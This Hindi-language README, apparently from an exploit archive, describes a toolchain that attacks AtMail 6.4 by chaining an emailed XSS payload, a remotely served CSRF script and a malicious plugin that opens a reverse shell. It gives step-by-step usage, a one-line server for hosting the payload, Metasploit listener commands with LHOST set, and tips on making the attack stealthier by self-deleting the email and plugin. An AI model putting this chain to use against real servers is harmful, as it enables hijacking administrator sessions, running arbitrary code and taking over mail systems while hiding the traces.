AtMail ईमेल सर्वर उपकरण 6.4 - एक्सप्लॉइट टूलचेन (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
अस्वीकरण: यह एक्सप्लॉइट टूलचेन EDB-ID 20009 से प्रेरित है।
लक्ष्य
इस एक्सप्लॉइट टूलचेन का लक्ष्य EDB-ID 20009 को प्रतिस्थापित करना है।
इस टूलचेन के लाभ EDB-ID 20009 एक्सप्लॉइट की तुलना में:
- सरल उपयोग
- पुन: प्रयोज्य
- गतिशील रूप से उत्पन्न पेलोड
- आसानी से संपादन योग्य / हैक करने योग्य
- स्पष्ट कोड और प्लगइन उपलब्ध
EDB-ID 20009 एक्सप्लॉइट के नुकसान:
- अनुकूलन योग्य नहीं (स्थिर हार्डकोडेड पेलोड)
- उपयोग में जटिल (कई हार्डकोडेड मानों को बदलने और लक्ष्य वातावरण के अनुरूप कोड को अनुकूलित करने की आवश्यकता)
- वन-शॉट उपयोग (सभी मान हार्डकोडेड)
- प्लगइन संग्रह tgz एक स्ट्रिंग (हेक्स वर्ण) के रूप में एम्बेडेड है, इसलिए प्लगइन स्रोत कोड को आसानी से पढ़ा या संशोधित नहीं किया जा सकता है
आवश्यकताएँ
- (वैकल्पिक) Metasploit Framework (रिवर्स शेल जनरेशन के लिए
msfvenom)
- tar (प्लगइन संग्रह उत्पन्न करने के लिए)
- ruby (पेलोड तैयारी और XSS SMTP डिलीवरी के लिए)
- (वैकल्पिक) XSS पेलोड वितरित करने के लिए एक वेब सर्वर
- Atmail व्यवस्थापक ईमेल पता जानना (केवल व्यवस्थापक ही प्लगइन इंस्टॉल कर सकते हैं)
- निष्क्रिय इंटरैक्शन (व्यवस्थापक को वेबमेल पर XSS पेलोड वाले ईमेल को ट्रिगर करना होगा और एक मान्य प्रशासन इंटरफ़ेस सत्र चालू होना चाहिए)
ArchLinux पर आवश्यकताएँ स्थापित करें:
$ sudo pacman -S metasploit tar ruby
यह कैसे काम करता है
- व्यवस्थापक को XSS पेलोड वाला एक ईमेल भेजना
- XSS पेलोड दूरस्थ रूप से JavaScript CSRF लोड करता है
- CSRF एक प्लगइन इंस्टॉल करता है
- इंस्टॉल होने पर प्लगइन एक सिस्टम कमांड निष्पादित करता है: रिवर्स शेल
एक्सप्लॉइट फ़ाइलें:
config.yml में टूलचेन कॉन्फ़िगरेशन होता है
exploit.sh एक्सप्लॉइट रैपर जिसे निष्पादित करने की आवश्यकता है
xss_mail.rb Atmail SMTP सर्वर के माध्यम से XSS वाला ईमेल व्यवस्थापक को भेजेगा (अनधिकृत)।
csrf_prepare.rb CSRF पेलोड तैयार करेगा (लक्ष्य सेट करना और प्लगइन संग्रह को एन्कोड करना)
rce_prepare.rb RCE तैयार करेगा (रिवर्स शेल उत्पन्न करना और प्लगइन संग्रह बनाना)
csrf_plugin.js तैयार CSRF पेलोड
noraj/ फ़ोल्डर जिसमें असम्पीडित प्लगइन आर्किटेक्चर है
उपयोग
एक्सप्लॉइट टूलचेन के लिए केवल 2 मैन्युअल चरणों की आवश्यकता है:
config.yml संपादित करें
exploit.sh लॉन्च करें
लेकिन हमले को लॉन्च करने से पहले, एक वेब सर्वर को JavaScript CSRF फ़ाइल वितरित करने की आवश्यकता होती है और एक रिवर्स शेल लिसनर को कनेक्शन की प्रतीक्षा करनी होती है। तो हमला इस प्रकार दिखेगा:
config.yml संपादित करें
- एक HTTP सर्वर शुरू करें जो
csrf_plugin.js वितरित करेगा
- रिवर्स शेल लिसनर शुरू करें
exploit.sh लॉन्च करें
वन-लाइन HTTP सर्वर का उदाहरण:
$ ruby -run -e httpd . -p 8000
रिवर्स शेल लिसनर का उदाहरण:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
नोट्स
- RCE केवल तब होता है जब प्लगइन इंस्टॉल होता है, यदि रिवर्स शेल कनेक्शन खो जाता है, तो पुन: निष्पादन का मतलब प्लगइन को पुनः इंस्टॉल करना है। इसलिए व्यवस्थापक को केवल अपना मेलबॉक्स रीलोड करना होता है।
- रेड टीम के सदस्य एक्सप्लॉइट को बढ़ा सकते हैं ताकि ईमेल पढ़े जाने पर स्वतः हट जाए और रिवर्स शेल कनेक्शन स्थापित होने पर प्लगइन हट जाए: कम स्थायी लेकिन अधिक गुप्त।
- msfvenom (MSF 5.0) LHOST के लिए केवल एक IP पते का समर्थन करता है, डोमेन का नहीं।
- जैसा कि आवश्यकताएँ में कहा गया है, व्यवस्थापक को वेबमेल और प्रशासन इंटरफ़ेस दोनों पर कनेक्ट होना आवश्यक है।
- रूबी 2.7 के साथ परीक्षण किया गया।